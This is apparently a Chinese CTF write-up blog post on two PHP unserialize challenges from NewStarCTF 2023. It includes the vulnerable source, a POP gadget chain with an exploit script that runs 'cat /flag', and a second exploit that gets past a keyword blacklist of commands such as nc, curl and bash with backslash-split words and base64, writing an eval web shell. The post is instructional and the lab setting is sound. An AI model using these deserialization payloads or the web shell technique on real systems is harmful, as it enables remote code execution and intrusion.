Home NewStarCTF2023 week3 反序列化记录
Post
Cancel

NewStarCTF2023 week3 反序列化记录

POP Gadget

原题文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

利用链思考

` ($this->func)($this->var);` 这里会进行命令执行,就可以倒推,寻找构造链

__unset 魔法函数,当 unset() 访问了没有的属性是调用,只有 CTF 类有unset 也肯定是通过这里了。

CTF 类的 end 函数,需要被调用执行才能执行到 unset,要寻找 调用 end 方法的代码。可以看到 Handle 类的 __call 函数有end() 函数的调用。

之后,__call 当不存在或者不能访问的方法去调用的时候自动运行;Super 类的 __invoke 函数的 getStr() 函数 是 Handle 类 里面没有的。

现在要去 Super 类 __invoke() ,当对象当函数调用的时候出发 invoke()。只用 ($this->func)(); 这个符合,它在Then类的 __toString

函数里面。

当对象被当做字符串调用的时候会 运行 __toString函数,$this->name 这里刚刚好是入口的地方,链子就构造完成了

__destruct函数结束的时候会自己调用。

这样子思路就理清了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 对不存在的方法或者不可访问的方法进行调用就自动调用
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发

利用链

1
2
3
4
5
6
WhiteGod::unset
CTF::end  -->  WhiteGod::unset
Handle::__call  -->  CTF::end
Super::__invoke  -->  Handle::__call
Then::__toString  -->  Super::__invoke
Begin::__destruct  -->  Then::__toString

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php

use Begin as GlobalBegin;
use CTF as GlobalCTF;
use Handle as GlobalHandle;
use Super as GlobalSuper;
use Then as GlobalThen;
use WhiteGod as GlobalWhiteGod;

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }
    }
}

class Then{
    public $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    public $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    public $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func = "system";
    public $var = "cat /flag";
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

$a = new GlobalWhiteGod();
$b = new GlobalCTF();
$c = new GlobalHandle();
$d = new GlobalSuper();
$e = new GlobalThen();
$f = new GlobalBegin();

$b->handle = $a;
$c->obj = $b;
$d->obj = $c;
$e->func = $d;
$f->name = $e;

echo serialize($f);

image-20231020172542884

R!!!C!!!E!!!

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

有很多符号被过滤,我们没有办法绕过

字母的话 我可以 用 反斜杠绕过

反序列化的话 __toString 触发通过 __destruct来实现,

exec 命令执行没有回显,我们只能尽力去 进行保存文件,但是这里 过滤 了 <> . 我们很难直接去保存文件

好在 linux 在 命令里面插入 \ 也能执行,我们可以用此方法来进行命令执行,保存文件,注入代码。

使用拼接字母绕过匹配

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

use minipop as GlobalMinipop;

class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            // exec($this->code);
            echo PHP_EOL . "1" . PHP_EOL;
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}

// ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzEyXSk7Pz4iPjEucGhw
// echo "<?php eval(\$_POST[12]);\?\>">1.php
$a = new GlobalMinipop();
$a->code="echo ZWNobyAiPD9waHAgZXZhbChcJF9QT1NUWzEyXSk7Pz4iPjEucGhw|b\a\se64 -d|b\a\s\h";
$b = new GlobalMinipop();
$b->qwejaskdjnlka = $a;

echo serialize($b);

image-20231020172749999

image-20231020172758457

This post is licensed under CC BY 4.0 by the author.